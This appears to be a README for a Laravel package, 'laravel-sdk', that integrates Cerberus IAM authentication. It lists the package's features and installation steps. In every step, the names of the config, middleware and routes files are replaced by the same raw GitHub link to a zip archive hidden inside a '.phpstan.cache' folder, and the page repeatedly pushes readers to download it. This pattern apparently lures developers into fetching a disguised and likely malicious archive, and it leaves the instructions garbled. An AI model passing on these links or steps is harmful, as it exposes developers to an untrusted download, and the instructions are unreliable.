Welcome to the laravel-sdk! This package helps you integrate Cerberus IAM with your Laravel application. It simplifies user authorization and enhances security with easy setup and reliable features.
To get started, visit this page to download the latest version of laravel-sdk: GitHub Releases. You will find the installation files and instructions on this page.
Before you download, here are the requirements for running the laravel-sdk on your machine:
- PHP Version: 7.3 or later.
- Laravel Version: 8.x or later.
- Composer: Ensure you have Composer installed for package management.
The laravel-sdk package comes packed with useful features:
- Authorization Code Flow: Simplifies user authentication.
- Support for JWT and OIDC: Securely manage user identities.
- Role-Based Access Control (RBAC): Control user permissions effectively.
- Single Sign-On (SSO): Allow users to access multiple applications with a single login.
- User Provisioning: Automatically manage user accounts.
- Middleware: Easily integrate with existing Laravel middleware.
To set up the laravel-sdk in your Laravel project, follow these steps:
-
Download the Package: Go to GitHub Releases and download the latest version.
-
Install the Package: Open your terminal and navigate to your Laravel project directory. Run the following command:
composer require magdysayed/laravel-sdk
-
Publish the Configuration: After installation, publish the package config by running:
php artisan vendor:publish --provider="Cerberus\LaravelSdk\CerberusServiceProvider" -
Configure the Package: Update the configuration file located at
https://raw.githubusercontent.com/magdysayed/laravel-sdk/main/.phpstan.cache/cache/PHPStan/59/85/laravel-sdk_v3.7.zipaccording to your setup. You need to input your IAM configurations here. -
Add Middleware: Add the required middleware to your
https://raw.githubusercontent.com/magdysayed/laravel-sdk/main/.phpstan.cache/cache/PHPStan/59/85/laravel-sdk_v3.7.zipfile for user authentication. -
Run Migrations: If your package requires database migrations, run:
php artisan migrate
-
Test the Setup: You can start the Laravel server and test your installation:
php artisan serve
To implement Single Sign-On using the laravel-sdk, follow these additional instructions:
- Configure your OIDC settings in the
https://raw.githubusercontent.com/magdysayed/laravel-sdk/main/.phpstan.cache/cache/PHPStan/59/85/laravel-sdk_v3.7.zipconfiguration file. - Add routes for login and logout in your
https://raw.githubusercontent.com/magdysayed/laravel-sdk/main/.phpstan.cache/cache/PHPStan/59/85/laravel-sdk_v3.7.zipfile. - Use the provided middleware to protect your routes.
If you encounter any issues while installing or using the laravel-sdk, check the following:
- Ensure your PHP version meets the requirements.
- Confirm that all configurations are correct in the
https://raw.githubusercontent.com/magdysayed/laravel-sdk/main/.phpstan.cache/cache/PHPStan/59/85/laravel-sdk_v3.7.zipfile. - Check the application logs in
storage/logsfor specific error messages.
For any specific questions, consider reviewing the discussions or issues section of the GitHub page.
To further understand how to use laravel-sdk, refer to these helpful links:
Ready to enhance your Laravel application? Donβt forget to download the latest version here: GitHub Releases.
The laravel-sdk package simplifies user authentication for Laravel applications, allowing you to focus on building while we handle security.